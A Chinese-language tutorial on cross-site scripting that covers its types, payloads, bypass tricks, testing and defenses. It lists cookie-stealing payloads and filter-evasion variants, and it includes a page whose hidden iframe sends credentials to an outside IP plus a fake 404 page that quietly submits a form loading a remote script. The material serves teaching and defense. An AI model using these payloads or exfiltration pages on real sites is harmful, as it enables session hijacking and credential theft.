XSS漏洞分析及防护

一、XSS攻击原理

XSS:跨站脚本攻击,Cross Site Scripting,即CSS。利用网页开发时留下的漏洞(web应用程序对用户的输入过滤不足),巧妙的将恶意的代码注入到网页中,使用户浏览器加载并执行恶意制造的代码,以达到攻击的效果。这恶意的代码通常是JS代码,但实际上也可以是JAVA、VBS、ActiveX、Flash或者是普通的HTML。(浏览器不会判断,只要是符合解析,那么就会执行恶意的代码)。可能存在XSS的地方:微博、留言板、聊天室等收集用户输入的地方都可能遭受XSS攻击的风险。只要你对用户的输入没有严格过滤。

攻击者向Web页面里插入恶意Script代码,当用户浏览该页面时,,嵌入到Script的代码被执行,达到恶意攻击的目的。

二、XSS漏洞分类

1、反射性XSS

非持久型的XSS,没有长期被放在服务器中,是现在最容易出现的一种XSS 漏 洞。当用户在请求某一个URL得治的时候,会携带某一部分数据。当客户端进行访问某一条链接的时候,攻击者就可以将恶意的代码植入到URL中,如果服务器端未对URL的参数做判断或者是过滤,直接就返回相应页面,那么XSS攻击代码就会一起被传输到用户的浏览器,从而出发反射型XSS。可配合短链接实现钓鱼。反射型XSS的payload常常是构造在网站的某一个通过GET传递的参数中。(对应的数据流向是:浏览器---后端---浏览器)

1)特点

需要欺骗用户自己去点击恶意连接才能触发XSS代码。大多时用来盗用cookie的。非持久化。

2)攻击流程

  • 1. 发送连接。
  • 2. 用户点击恶意连接。
  • 3. 网站将XSS同正常的网页返回到用户的浏览器。
  • 4. 用户的浏览器解析了网页中的恶意代码,向恶意服务器发起请求。
  • 5. 黑客从自己搭建的恶意服务器获取用户的相关信息。
XSS漏洞分析及防护插图

2、存储型XSS

存储型XSS又叫做持久型XSS。它是危害最大的XSS。这种类型的XSS可以将恶意的攻击代码持久化的保存在服务器上,然后被显示到HTML页面中。此类型的XSS漏洞经常出现 在用户评论的页面,将攻击者精心构造的恶意代码保存在数据库中。如果其他的用户访问到该页面时就会触发恶意的XSS代码执行,从而窃取用户的信息。(数据流向:浏览器---后端---数据库---后端---浏览器)

1)特点

持久化,代码时存储在服务器中的,例如:在个人信息或发表文章等地方,插入恶意代码,如果没有过滤或者过滤不严的话,那么这些恶意代码就会存储到服务器中,用户访问该页面时触发代码执行。比较危险,容易造成蠕虫,盗窃cookie

2)攻击流程

  • 1. 黑客在目标服务器上构造XSS恶意脚本,保存在数据库中。
  • 2. 用户在网站登录状态下,访问了目标服务器,查看了存在恶意脚本的页面。
  • 3. 网站将XSS同正常的页面返回到用户的浏览器上。
  • 4. 用户的浏览器解析了网页中的恶意代码,向恶意服务器发起请求。
  • 5. 黑客从自己搭建的恶意服务器获取用户的相关信息。
XSS漏洞分析及防护插图2

3、DOM型XSS

DOM是由许多不同类型的节点共同组成,主要由元素节点、文本节点、属性节点。DOM型XSS漏洞是基于文档对象模型的一种漏洞。这种XSS和反射型XSS、存储型XSS的原理上由本质的区别,它的攻击代码不需要服务器解析响应,触发XSS依靠的是浏览器端的DOM解析。客户端上的JS脚本可以访问浏览器的DOM并修改页面的内容,不依赖服务器的数据,直接从浏览器端获得数据并执行。在客户端直接输出DOM内容的时候非常容易触发DOM型XSS漏洞,如doccment.getElementByld("x").innerHTML、doccument.write等。

1)特点

不经过后端,DOM-XSS漏洞时基于文档对象模型的一种漏洞(Document Objeet Modle)通过url传入参数去控制触发,也属于反射型XSS。

2)HTML DOM介绍

DOM是一个平台和语言都中立的接口,可以使程序和脚本能够动态的访问和更新文档的内容、结果和样式。
在网站页面中有许多的页面元素,当页面到达浏览器时,浏览器会为页面创建一个顶级的Document object 文档对象,接着生成各个子文档的对象,每个页面元素对应着一个文档对象,每个文档对象包含属性、方法、和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。客户端的脚本程序可以通过DOM来动态的修改页面内容,从客户端获取DOM中的数据并在本地执行。

在HTML DOM中,所有的事物都是节点,DOM 是被视为节点树的HTML:

  • 整个文档是一个文档节点
  • 每个HTML元素是一个元素节点
  • HTML元素内的文本是文本节点
  • 每个HTML的属性是属性节点
  • 注释是注释节点
XSS漏洞分析及防护插图4

通过HTML DOM ,树中的所有节点均可通过JS进行访问,所有的HTML元素均可被修改和删除。HTML DOM 的方法与属性:

  • 方法
    • getElementByld(id) – 获取带有指定id的节点元素。
    • appendChild(node) – 插入新的子节点元素。
    • removeChild(node)- 删除子节点。
  • 属性
    • innerHTML – 节点元素的文本值
    • parentNode – 节点元素的父节点
    • childNode – 节点元素的子节点
    • attributes – 节点元素的属性节点

3)可能触发DOM型的XSS

  • document.referer
  • window.name
  • location
  • innerHTML
  • document.write

如下图,在URL中传入参数的值,然后客户端页面通过js脚本利用DOM的方法获得URL中的参数的值,再通过DOM的方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的,所以就可以在参数上做手脚了。

XSS漏洞分析及防护插图6

三、XSS漏洞分析

1、攻击条件

  • 需要向WEB页面注入精心构造的恶意代码。
  • 对用户的输入没有做过滤或者过滤不严谨,恶意代码能够被浏览器成功执行。

2、XSS的攻击载荷

以下所有标签的 > 都可以用 // 代替, 例如:

XSS漏洞分析及防护插图8

1)<script>标签

<script>标签是最直接的XSS有效的载荷,脚本标记可以引用外部的JavaScript代码,也可以将代码插入到脚本标记中。

<script>alert("hack")</script>  #弹出hack
<script>alert(/hack/)</script>  #弹出hack
<script>alert(1)</script>       #弹出数字 1
<script>alert(document.cookie)</script> #弹出cookie
<script src="http://xxx.com/xss.js"></script> #引用外部的xss

2)<svg>标签

<svg onload="alert(1)">

3)<img>标签

<img src=1 onerror=alert(document.cookie)> #弹出cookie

4)<body>标签

<body onload=alert(1)>
<body onpageshow=alert(1)>

5)<video>标签

<video onloadstart=alert(1) src="/media/hack-the-plant.mp4">

6)<style>标签

<style onload=alert(1)></style>

3、XSS可以插在哪里

  • 用户输入作为scrip标签内容
  • 用户输入作为HTMl的注释内容
  • 用户输入作为HTML标签的属性名
  • 用户输入作为HTML标签的属性值
  • 用户输入作为HTML标签的名字
  • 直接插入到CSS中
  • 不要引入任何第三方Javascript到页面里
#用户输入作为HTML注释内容,导致攻击者可以闭合绕过,类似于SQL注入的时候闭合‘’进行sql注入
<!----------              用户输入          ---------->
<!---- ----><section>alert('hack')</section><!--------> 

#用户输入作为标签属性名
<div>                     用户输入="xxxxxx"            </div>
<div></div>     <script>alert('hack')</script>  <div a='xxx'> </div>

#用户输入作为标签的属性值
<div id="用户输入">                         </div>
<div id=""></div> <script>alert(1)</script> <div id="用户输入"></div>

#用户输入作为标签名
<                       用户输入                      id = 'xxxxx'>
<div id=""></div>    <script>alert(1)</script>   <div a='xxxx'></div>

#用户输入作为CSS内容
<style>用户输入</style>
<style></style>  <script>alert(1)</script> <style>用户输入</style>

1)XSS构造以及变形

利用<>构造html标签和<script></script>标签

XSS漏洞分析及防护插图10

2)利用HTML标签的属性值–伪协议

<a href="javascript:alert(/XSS/)" >hello </a>
<img src="javascript:alert('hello')"> 

3)利用JS事件

<img src=1 οnerrοr=aler(123)>
<input type="text" οnclick="alert('hello')">

常见的事件:

XSS漏洞分析及防护插图12

4)古老的CSS利用方法

利用CSS层叠样式表来触发XSS,基本上不能适合现在的主流浏览器。

XSS漏洞分析及防护插图14
XSS漏洞分析及防护插图16

4、XSS payload变形

1)大小写混编

<iMg sRc='#' Onerror="alert(/xss/)"/>
<a hREf="javaScript:alert(/xss/)" >click me</a>

2)双写关键字

<scrscriptipt> alert(/xss/)</scrscriptipt>

3)/代替空格

<img/src='#'/οnerrοr='alert(/xss/)'/>

4)反引号代替双引号

XSS漏洞分析及防护插图18

5)tab水平制表符和回车:在一些位置添加Tab和回车符号来绕过关键字检测

1. <img src='#' onerror='alert(/xss/)' />
2. <a href="javascript:alert(/xss/)" >click me!</a><A href="j
avascript:alert(/xss/)">click me!</a>

6)HTML实体编码和URL编码

XSS漏洞分析及防护插图20

5、验证XSS漏洞存在的一般方法

可以使用script标签来手动检测。如:

XSS漏洞分析及防护插图22
XSS漏洞分析及防护插图24
XSS漏洞分析及防护插图26
XSS漏洞分析及防护插图28

反射型xss将数据插入到页面中:

XSS漏洞分析及防护插图30

四、XSS漏洞的挖掘

1、黑盒测试

尽可能找到一切用户可控并且能够输出在页面代码中的地方:

  • URL的每一个参数
  • URL
  • 表单
  • 搜索框

常见的场景:

  • 重灾区:评论区、留言区、个人信息、订单信息
  • 针对型:站内的信息,网页的及时通讯、私信、意见反馈
  • 存在风险:搜索框、当前目录、图片属性

2、白盒测试(代码审计)

主要是从接受参数的地方和一些关键词入手。

  • 1. PHP中常见的接受参数的方式
    • $_GET
    • $_POST
    • $_REQUEST
    • and so on

可以搜索所有接受到的参数的地方。

  • 2. 对接受到的数据进行跟踪,看看有没有输出到页面中
  • 3. 看输出到页面中的数据是否进行了过滤和HTML编码处理等

也可以搜索类似echo这样的输出语句,跟踪输出的变量是从哪里来的,我们能否控制,如果从数据库中取出的数据,看是否能控制存到数据库中的数据,存到数据库之前是否进行了过滤等等。

大多数的程序员会对接受的参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数有没有过滤,能否绕过等。审计DOM型注入可以搜索一些js操作DOM元素的关键词进行审计。

五、XSS攻击过程

1、反射性XSS漏洞

XSS漏洞分析及防护插图32

2、存储型XSS漏洞

XSS漏洞分析及防护插图34

六、XSS漏洞的危害

XSS漏洞有如下的危害:盗取各种用户的账号、窃取用户的cookie然后冒充用户甚至是管理员进入网站、劫持用户会话,执行任意操作、刷流量,广告弹窗、网页挂马传播蠕虫病毒、记录用户键盘输入。

XSS漏洞分析及防护插图36

1、利用JS将用户的cookie信息发送到后台

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
    <script>
        $(function(){
            //我们现在假如 user和pass是我们利用js获得的用户的用户名和密码
            user="admin";
            pass="root";
            url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
            var frame=$("<iframe>");
            frame.attr("src",url);
            frame.attr("style","display:none");
            $("#body").append(frame);      //添加一个iframe框架,并设置不显示。这个框架会偷偷访问该链接。
        });
    </script>
</head>
<body id="body">
    <h3>hello,word!</h3>
</body>
</html>

2、发射型XSS的利用姿势

1)GET型

当我们输入的请求类型为get类型,即我们输入的参数是以URL参数的形式。因此就需要我们构造恶意代码来诱使用户点击之后不发现点击了恶意连接。构造代码,将其保存为HTML页面,然后放到我们的服务器上,做成一个连接,当用户登录了存在漏洞的网站,并且点击了我们构造的恶连接,该连接页面会偷偷的打开iframe框架,iframe会访问其中的连接,然后执行我们的js代码,该代码会把漏洞网站的cookie发送到我们的平台上,但是用户却不知道,只是会发现使一个404网站。(前提:存在XSS漏洞的网站的X-Frame-options未配置,并且会话Cookie没有设置Http Only属性)

2)POST型

与get型类似,404页面中隐藏了一个form提交的表单,为了防止提交表单后跳转,我们在表单下加了一个iframe框架,并且iframe框架的name等于form表单的target,并且我们设置iframe框架为不可见。

<!DOCTYPE html>
<html>
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
    <title>404 页面不存在 </title>
    <style type="text/css">
        body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
        .error-page{background:#f0f1f3;padding:80px 0 180px}
        .error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
        .error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
        .error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
    </style>
     <script type="text/javascript">
        function attack()
        {
            document.getElementById("transfer").submit();
        }
    </script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
    <div class="error-page-container">
        <div class="error-page-main">
            <h3>
                <strong>404</strong>很抱歉,您要访问的页面不存在!
            </h3>
        </div>
    </div>
    <form method="POST" id="transfer"  action="http://127.0.0.1/xss/action.php" target="frameName">
         <input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
         <input type="hidden" name="password" value="1">
    </form>
    <iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>

七、XSS漏洞的防御

1、XSS的简单过滤和绕过

1)区分大小写的过滤标签

XSS漏洞分析及防护插图38

绕过技巧:可以使用大小写绕过

2)不区分大小写的过滤标签

XSS漏洞分析及防护插图40

绕过技巧:可以使用嵌套的script标签绕过 ipt>alert(‘hack’)ipt>

3)不区分大小写,过滤之间所有内容

XSS漏洞分析及防护插图42

虽然无法使用标签注入XSS代码,但是可以通过img、body等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。

<img src=1 οnerrοr=alert(‘hack’)></p>

2、防御方法

  • 对用户输入的信息和URL的参数进行过滤
  • 对输出的行进行HTML编码
  • 服务端设置会话cookie的HTTP Only 中的属性,使客户端的JS脚本就不能获取cookie信息了。
  • 对用户提交的信息进行过滤,会过滤掉导致脚本执行的相关内容。
  • 对动态输出到页面的内容进行HTML编码,使脚本无法执行。
XSS漏洞分析及防护插图44

对用户输入的内容进行过滤,分为黑名单和白名单过滤,黑名单过滤可以拦截大部分的XSS攻击,但是还是有漏网之鱼。白名单可以基本上杜绝XSS攻击,但是真实的环境中一般不会严格的执行白名单过滤。

3、防护总结

  • 对于存储型和反射型:1. 修改为纯前端渲染,把代码和数据分开。浏览器先加载静态的HTML,此HTML中不包含任何跟业务相关的数据。然后浏览器执行HTML中的JavaScript。JavaScript通过Ajax加载业务数据,调用DOM API更新到页面上。但是纯前端的渲染还要避免DOM型XSS漏洞,如:onload和Javascript:xxx事件。2. 对HTML做充分的转义操作。非必要不使用HTML拼接,如果拼接HTML是必要的,就要采用市面上安全合适的转义库,对HTML模板进行充分的转义。常用的模板引擎有:doT.js、ejs、FreeMarker等。。
  • 对于DOM型XSS攻击,在使用.innerHTML outerHTML document.write()时不要把不可信的数据插入到HTML页面中,应尽量使用.textContent .setAttribute()等。 如果使用到Vue/React技术栈,不使用v-html/dangerouslySetInnerHTML功能,就在前端render阶段避免innerHTML、outerHTML的XSS隐患。尽量避免使用DOM中的内联事件监听器,如:location onclick onerror onload onmouseover以及标签的href属性,javascript的eval()、setTimeout()、setInterval()等,都能将恶意的字符串作为代码运行。如果项目中有用到这些的话,一定要避免在字符中拼接不可信的数据。
  • 其他方法:输入内容长度控制,虽然无法完全避免xss,但是可以增加攻击难度。HTTP-only Cookie:禁止javascript读取某些敏感的cookie,就算攻击者完成攻击也无法读取cookie。加入验证码机制:防止脚本冒充用户提交危险操作。执行严格的CSP(Content Security Policy)策略。

发表评论